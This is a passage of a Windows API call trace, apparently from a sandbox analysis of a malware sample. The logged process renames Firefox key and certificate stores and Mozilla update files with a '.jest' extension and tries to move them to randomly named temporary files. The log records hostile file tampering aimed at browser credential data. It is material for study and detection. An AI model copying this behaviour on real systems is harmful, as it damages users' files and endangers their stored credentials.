lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vbkZJmYqMKPIaKIqwL1tscBfL_2lMpQBBxyiAMALEXquvBAkYfHLNREDv9OkYMuwJ3kV 6sbGNQ0UfYUQ bSOBAxhTDjq9gNmBayE.tmp", lpFilePart=0x18e708*="vbkZJmYqMKPIaKIqwL1tscBfL_2lMpQBBxyiAMALEXquvBAkYfHLNREDv9OkYMuwJ3kV 6sbGNQ0UfYUQ bSOBAxhTDjq9gNmBayE.tmp") returned 0x8f [0129.874] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db", lpFilePart=0x18e708*="cert8.db") returned 0x60 [0129.875] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vbkZJmYqMKPIaKIqwL1tscBfL_2lMpQBBxyiAMALEXquvBAkYfHLNREDv9OkYMuwJ3kV 6sbGNQ0UfYUQ bSOBAxhTDjq9gNmBayE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vbkzjmyqmkpiakiqwl1tscbfl_2lmpqbbxyiamalexquvbakyfhlnredv9okymuwj3kv 6sbgnq0ufyuq bsobaxhtdjq9gnmbaye.tmp")) returned 0 [0129.875] GetLastError () returned 0x2 [0129.875] GetLastError () returned 0x2 [0129.875] SetLastError (dwErrCode=0x2) [0129.875] GetLastError () returned 0x2 [0129.875] SetLastError (dwErrCode=0x2) [0129.875] GetLastError () returned 0x2 [0129.875] SetLastError (dwErrCode=0x2) [0129.875] GetFullPathNameA (in: lpFileName="vbkZJmYqMKPIaKIqwL1tscBfL_2lMpQBBxyiAMALEXquvBAkYfHLNREDv9OkYMuwJ3kV 6sbGNQ0UfYUQ bSOBAxhTDjq9gNmBayE.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vbkZJmYqMKPIaKIqwL1tscBfL_2lMpQBBxyiAMALEXquvBAkYfHLNREDv9OkYMuwJ3kV 6sbGNQ0UfYUQ bSOBAxhTDjq9gNmBayE.tmp", lpFilePart=0x18e6e4*="vbkZJmYqMKPIaKIqwL1tscBfL_2lMpQBBxyiAMALEXquvBAkYfHLNREDv9OkYMuwJ3kV 6sbGNQ0UfYUQ bSOBAxhTDjq9gNmBayE.tmp") returned 0x8f [0129.875] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vbkZJmYqMKPIaKIqwL1tscBfL_2lMpQBBxyiAMALEXquvBAkYfHLNREDv9OkYMuwJ3kV 6sbGNQ0UfYUQ bSOBAxhTDjq9gNmBayE.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5a6b6276, cFileName="JmYqMKPIaKIqwL1tscBfL_2lMpQBBxyiAMALEXquvBAkYfHLNREDv9OkYMuwJ3kV 6sbGNQ0UfYUQ bSOBAxhTDjq9gNmBayE.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.875] GetLastError () returned 0x2 [0129.875] GetLastError () returned 0x2 [0129.875] SetLastError (dwErrCode=0x2) [0129.876] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.876] CoFreeUnusedLibraries () [0129.876] GetTickCount () returned 0x1152e13 [0129.876] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.876] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.876] GetTickCount () returned 0x1152e13 [0129.876] IsWindowVisible (hWnd=0x30268) returned 0 [0129.876] Sleep (dwMilliseconds=0x0) [0129.877] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db.jest")) returned 1 [0129.877] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db", lpFilePart=0x18e6d8*="key3.db") returned 0x5f [0129.877] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.878] GetLastError () returned 0x2 [0129.878] VarBstrFromR4 (in: fltIn=0x479446d7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.68") returned 0x0 [0129.878] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.878] CoFreeUnusedLibraries () [0129.878] GetTickCount () returned 0x1152e13 [0129.878] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.878] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.878] GetTickCount () returned 0x1152e13 [0129.878] IsWindowVisible (hWnd=0x30268) returned 0 [0129.878] Sleep (dwMilliseconds=0x0) [0129.879] GetFullPathNameA (in: lpFileName="yRf929QOl5kDOWXkj08ssye27CgQVhbkEYL PGpwDdP_Up_E2WtA9sdK5WhB3kQlyA9Pqc6u4pIXIhwDku5VucFnELfxo6jFFC7C.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yRf929QOl5kDOWXkj08ssye27CgQVhbkEYL PGpwDdP_Up_E2WtA9sdK5WhB3kQlyA9Pqc6u4pIXIhwDku5VucFnELfxo6jFFC7C.tmp", lpFilePart=0x18e708*="yRf929QOl5kDOWXkj08ssye27CgQVhbkEYL PGpwDdP_Up_E2WtA9sdK5WhB3kQlyA9Pqc6u4pIXIhwDku5VucFnELfxo6jFFC7C.tmp") returned 0x8e [0129.879] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db", lpFilePart=0x18e708*="key3.db") returned 0x5f [0129.879] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\key3.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\key3.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yRf929QOl5kDOWXkj08ssye27CgQVhbkEYL PGpwDdP_Up_E2WtA9sdK5WhB3kQlyA9Pqc6u4pIXIhwDku5VucFnELfxo6jFFC7C.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yrf929qol5kdowxkj08ssye27cgqvhbkeyl pgpwddp_up_e2wta9sdk5whb3kqlya9pqc6u4pixihwdku5vucfnelfxo6jffc7c.tmp")) returned 0 [0129.880] GetLastError () returned 0x2 [0129.880] GetLastError () returned 0x2 [0129.880] SetLastError (dwErrCode=0x2) [0129.880] GetLastError () returned 0x2 [0129.880] SetLastError (dwErrCode=0x2) [0129.880] GetLastError () returned 0x2 [0129.880] SetLastError (dwErrCode=0x2) [0129.880] GetFullPathNameA (in: lpFileName="yRf929QOl5kDOWXkj08ssye27CgQVhbkEYL PGpwDdP_Up_E2WtA9sdK5WhB3kQlyA9Pqc6u4pIXIhwDku5VucFnELfxo6jFFC7C.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yRf929QOl5kDOWXkj08ssye27CgQVhbkEYL PGpwDdP_Up_E2WtA9sdK5WhB3kQlyA9Pqc6u4pIXIhwDku5VucFnELfxo6jFFC7C.tmp", lpFilePart=0x18e6e4*="yRf929QOl5kDOWXkj08ssye27CgQVhbkEYL PGpwDdP_Up_E2WtA9sdK5WhB3kQlyA9Pqc6u4pIXIhwDku5VucFnELfxo6jFFC7C.tmp") returned 0x8e [0129.880] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yRf929QOl5kDOWXkj08ssye27CgQVhbkEYL PGpwDdP_Up_E2WtA9sdK5WhB3kQlyA9Pqc6u4pIXIhwDku5VucFnELfxo6jFFC7C.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x39665279, cFileName="29QOl5kDOWXkj08ssye27CgQVhbkEYL PGpwDdP_Up_E2WtA9sdK5WhB3kQlyA9Pqc6u4pIXIhwDku5VucFnELfxo6jFFC7C.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.880] GetLastError () returned 0x2 [0129.880] GetLastError () returned 0x2 [0129.880] SetLastError (dwErrCode=0x2) [0129.881] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.881] CoFreeUnusedLibraries () [0129.881] GetTickCount () returned 0x1152e23 [0129.881] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.882] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.882] GetTickCount () returned 0x1152e23 [0129.882] IsWindowVisible (hWnd=0x30268) returned 0 [0129.882] Sleep (dwMilliseconds=0x0) [0129.884] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.884] CoFreeUnusedLibraries () [0129.884] GetTickCount () returned 0x1152e23 [0129.884] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.884] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.884] GetTickCount () returned 0x1152e23 [0129.884] IsWindowVisible (hWnd=0x30268) returned 0 [0129.884] Sleep (dwMilliseconds=0x0) [0129.885] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml.jest")) returned 1 [0129.888] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", lpFilePart=0x18e6d8*="active-update.xml") returned 0x5e [0129.888] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.888] GetLastError () returned 0x2 [0129.888] VarBstrFromR4 (in: fltIn=0x479446d9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.7") returned 0x0 [0129.889] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.889] CoFreeUnusedLibraries () [0129.889] GetTickCount () returned 0x1152e23 [0129.889] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.889] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.889] GetTickCount () returned 0x1152e23 [0129.889] IsWindowVisible (hWnd=0x30268) returned 0 [0129.889] Sleep (dwMilliseconds=0x0) [0129.889] GetFullPathNameA (in: lpFileName="kVemND9xvXh9XJHF7_VbCQKU2l2CTR4SMOxoo7 nk7jBkLhHEiCbiAnZ1XhU9Q45SA1TVIiJRje3Qo35P5o XiiPjadMM8PuIzfs.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kVemND9xvXh9XJHF7_VbCQKU2l2CTR4SMOxoo7 nk7jBkLhHEiCbiAnZ1XhU9Q45SA1TVIiJRje3Qo35P5o XiiPjadMM8PuIzfs.tmp", lpFilePart=0x18e708*="kVemND9xvXh9XJHF7_VbCQKU2l2CTR4SMOxoo7 nk7jBkLhHEiCbiAnZ1XhU9Q45SA1TVIiJRje3Qo35P5o XiiPjadMM8PuIzfs.tmp") returned 0x8e [0129.890] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml", lpFilePart=0x18e708*="active-update.xml") returned 0x5e [0129.890] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kVemND9xvXh9XJHF7_VbCQKU2l2CTR4SMOxoo7 nk7jBkLhHEiCbiAnZ1XhU9Q45SA1TVIiJRje3Qo35P5o XiiPjadMM8PuIzfs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kvemnd9xvxh9xjhf7_vbcqku2l2ctr4smoxoo7 nk7jbklhheicbianz1xhu9q45sa1tviijrje3qo35p5o xiipjadmm8puizfs.tmp")) returned 0 [0129.890] GetLastError () returned 0x2 [0129.890] GetLastError () returned 0x2 [0129.890] SetLastError (dwErrCode=0x2) [0129.890] GetLastError () returned 0x2 [0129.890] SetLastError (dwErrCode=0x2) [0129.890] GetLastError () returned 0x2 [0129.891] SetLastError (dwErrCode=0x2) [0129.891] GetFullPathNameA (in: lpFileName="kVemND9xvXh9XJHF7_VbCQKU2l2CTR4SMOxoo7 nk7jBkLhHEiCbiAnZ1XhU9Q45SA1TVIiJRje3Qo35P5o XiiPjadMM8PuIzfs.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kVemND9xvXh9XJHF7_VbCQKU2l2CTR4SMOxoo7 nk7jBkLhHEiCbiAnZ1XhU9Q45SA1TVIiJRje3Qo35P5o XiiPjadMM8PuIzfs.tmp", lpFilePart=0x18e6e4*="kVemND9xvXh9XJHF7_VbCQKU2l2CTR4SMOxoo7 nk7jBkLhHEiCbiAnZ1XhU9Q45SA1TVIiJRje3Qo35P5o XiiPjadMM8PuIzfs.tmp") returned 0x8e [0129.891] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kVemND9xvXh9XJHF7_VbCQKU2l2CTR4SMOxoo7 nk7jBkLhHEiCbiAnZ1XhU9Q45SA1TVIiJRje3Qo35P5o XiiPjadMM8PuIzfs.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d65566b, cFileName="ND9xvXh9XJHF7_VbCQKU2l2CTR4SMOxoo7 nk7jBkLhHEiCbiAnZ1XhU9Q45SA1TVIiJRje3Qo35P5o XiiPjadMM8PuIzfs.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.891] GetLastError () returned 0x2 [0129.891] GetLastError () returned 0x2 [0129.891] SetLastError (dwErrCode=0x2) [0129.906] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.906] CoFreeUnusedLibraries () [0129.906] GetTickCount () returned 0x1152e32 [0129.906] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.906] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.906] GetTickCount () returned 0x1152e32 [0129.907] IsWindowVisible (hWnd=0x30268) returned 0 [0129.907] Sleep (dwMilliseconds=0x0) [0129.907] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml.jest")) returned 1 [0129.908] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", lpFilePart=0x18e6d8*="updates.xml") returned 0x58 [0129.908] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xe0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.908] GetLastError () returned 0x2 [0129.909] VarBstrFromR4 (in: fltIn=0x479446db, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.71") returned 0x0 [0129.909] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.909] CoFreeUnusedLibraries () [0129.909] GetTickCount () returned 0x1152e32 [0129.909] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.909] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.909] GetTickCount () returned 0x1152e32 [0129.909] IsWindowVisible (hWnd=0x30268) returned 0 [0129.909] Sleep (dwMilliseconds=0x0) [0129.910] GetFullPathNameA (in: lpFileName="gnVuJzeo HjKhSxso_S8Qz9z30Levpj-jSKkHFHw-bVZeFY817056W9IfHWeTdHsXHCt6WcMlR 4jj66Kv0hcBjyytP-1JOIqB4.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gnVuJzeo HjKhSxso_S8Qz9z30Levpj-jSKkHFHw-bVZeFY817056W9IfHWeTdHsXHCt6WcMlR 4jj66Kv0hcBjyytP-1JOIqB4.tmp", lpFilePart=0x18e708*="gnVuJzeo HjKhSxso_S8Qz9z30Levpj-jSKkHFHw-bVZeFY817056W9IfHWeTdHsXHCt6WcMlR 4jj66Kv0hcBjyytP-1JOIqB4.tmp") returned 0x8d [0129.910] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml", lpFilePart=0x18e708*="updates.xml") returned 0x58 [0129.911] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gnVuJzeo HjKhSxso_S8Qz9z30Levpj-jSKkHFHw-bVZeFY817056W9IfHWeTdHsXHCt6WcMlR 4jj66Kv0hcBjyytP-1JOIqB4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnvujzeo hjkhsxso_s8qz9z30levpj-jskkhfhw-bvzefy817056w9ifhwetdhsxhct6wcmlr 4jj66kv0hcbjyytp-1joiqb4.tmp")) returned 0 [0129.911] GetLastError () returned 0x2 [0129.911] GetLastError () returned 0x2 [0129.911] SetLastError (dwErrCode=0x2) [0129.911] GetLastError () returned 0x2 [0129.911] SetLastError (dwErrCode=0x2) [0129.911] GetLastError () returned 0x2 [0129.911] SetLastError (dwErrCode=0x2) [0129.911] GetFullPathNameA (in: lpFileName="gnVuJzeo HjKhSxso_S8Qz9z30Levpj-jSKkHFHw-bVZeFY817056W9IfHWeTdHsXHCt6WcMlR 4jj66Kv0hcBjyytP-1JOIqB4.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gnVuJzeo HjKhSxso_S8Qz9z30Levpj-jSKkHFHw-bVZeFY817056W9IfHWeTdHsXHCt6WcMlR 4jj66Kv0hcBjyytP-1JOIqB4.tmp", lpFilePart=0x18e6e4*="gnVuJzeo HjKhSxso_S8Qz9z30Levpj-jSKkHFHw-bVZeFY817056W9IfHWeTdHsXHCt6WcMlR 4jj66Kv0hcBjyytP-1JOIqB4.tmp") returned 0x8d [0129.911] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gnVuJzeo HjKhSxso_S8Qz9z30Levpj-jSKkHFHw-bVZeFY817056W9IfHWeTdHsXHCt6WcMlR 4jj66Kv0hcBjyytP-1JOIqB4.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x75566e67, cFileName="Jzeo HjKhSxso_S8Qz9z30Levpj-jSKkHFHw-bVZeFY817056W9IfHWeTdHsXHCt6WcMlR 4jj66Kv0hcBjyytP-1JOIqB4.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.911] GetLastError () returned 0x2 [0129.912] GetLastError () returned 0x2 [0129.912] SetLastError (dwErrCode=0x2) [0129.917] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.917] CoFreeUnusedLibraries () [0129.917] GetTickCount () returned 0x1152e42 [0129.917] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.917] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.917] GetTickCount () returned 0x1152e42 [0129.917] IsWindowVisible (hWnd=0x30268) returned 0 [0129.918] Sleep (dwMilliseconds=0x0) [0129.918] 